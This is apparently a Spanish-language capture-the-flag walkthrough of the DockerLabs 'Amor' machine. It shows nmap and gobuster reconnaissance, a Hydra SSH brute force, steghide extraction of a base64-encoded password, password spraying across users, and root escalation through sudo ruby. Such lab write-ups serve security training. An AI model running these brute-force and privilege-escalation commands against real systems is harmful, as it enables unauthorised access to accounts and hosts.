miguel@home:~$

Amor - DockerLabs

OS Dificultad Creator
Linux Fácil Romabri

Reconocimiento

Iniciamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo mediante Nmap.

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports 
  • -p-: Escanea todos los puertos (1-65535).
  • --open: Solo muestra los puertos abiertos.
  • -sS: Realiza un escaneo SYN, que es rápido y discreto.
  • --min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.
  • -n: No realiza resolución DNS.
  • -Pn: No realiza ping previo para determinar si el host está activo.
  • -vvv: Muestra resultados detallados y en tiempo real.

image

Durante el escaneo, descubrimos que los siguientes puertos están activos:

  • 22 (SSH)
  • 80 (HTTP)

A continuación, evaluamos si los puertos abiertos presentan alguna vulnerabilidad, además de obtener más información sobre los servicios asociados a esos puertos.

nmap -p 21,80 -sCV 172.17.0.2 -oG targeted

image

Exploración Web

La página web parece no ser completamente funcional y muestra algunos registros internos de la empresa.

Utilizamos Gobuster para realizar un reconocimiento web y explorar los directorios disponibles en el sitio.

gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
  • gobuster dir - Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.
  • -u http://172.17.0.2/ Especifica la URL objetivo que deseas escanear en busca de directorios.
  • -w Especifica que diccionario queremos usar
  • -x Para indicar que tipo de extension queremos que nos encuentre

image

Parece ser que la pagina solo contiene la pagina que tenemos delante. Si observamos podemos ver varios usuarios.

image

Fuerza bruta

Ya que hemos identificado varios usuarios en el reconocimiento previo, decidimos hacer fuerza bruta sobre el usuario carlota utilizando Hydra. Este usuario parece ser uno de los empleados visibles en la página.

hydra -l 'carlota' -P /usr/share/wordlists/rockyou.txt  ssh://172.17.0.2 -t 4

Después de ejecutar el ataque, encontramos las credenciales correctas para el usuario carlota.

image

Usuario carlota

Ya que hemos obtenido su contraseña accederemos por ssh a su usuario.

ssh carlota@172.17.0.2  

image

Vamos a empezar a ver como podemos escalar , para ello empezamos con sudo -l pero parece que no tenemos permisos. image

Vamos a mirar que contiene su directorio , por si tiene algo oculto dentro de el

image

El directorio Desktop el dueño es root y eso es raro ya que tenemos permisos es esa carpeta vamos a ver que contiene.

image

Tenemos una imagen un poco extraña por lo que nos la pasaremos a nuestro equipo y veremos que contiene.

scp carlota@172.17.0.2:/home/carlota/Desktop/fotos/vacaciones/imagen.jpg .

image

Esteganografía

Vamos a ver si esa imagen contiene algo oculto.

steghide --extract -sf imagen.jpg

Nos pide una contraseña si no ponemos nada , nos descarga un archivo llamado secret.txt.

image

image

Al ver que contiene el archivo , por el = del final se podria pensar que esta encriptado en base64:

image

echo "ZXNsYWNhc2FkZXBpbnlwb24=" | base64 -d; echo

image

Tenemos una contraseña lo que no sabemos es de que usuario , por lo que veremos que usuarios tenemos desde el usuario carlota.

image

Ya que tenemos esos tres usuarios los guardamos en usuarios.txt.

image

Y ahora con hydra comprobamos si esa contraseña es de algun usuario.

hydra -L usuarios.txt -p 'eslacasadepinypon' ssh://172.17.0.2 -t 5 

image

Como podemos ver esa contraseña es del usuario oscar.

Usuario Oscar

image

Hemos conseguido acceso al sistema con el usuario Oscar.

script /dev/null -c bash

image

Si ejecutamos el comando sudo -l, vemos que podemos ejecutar ruby como root. Si no sabemos como abusar de esto, siempre podemos recurrir a GTFOBins.

image

Para generar una shell como root debemos de poner lo siguiente:

sudo ruby -e 'exec "/bin/sh"'

Y ya seriamos root.

image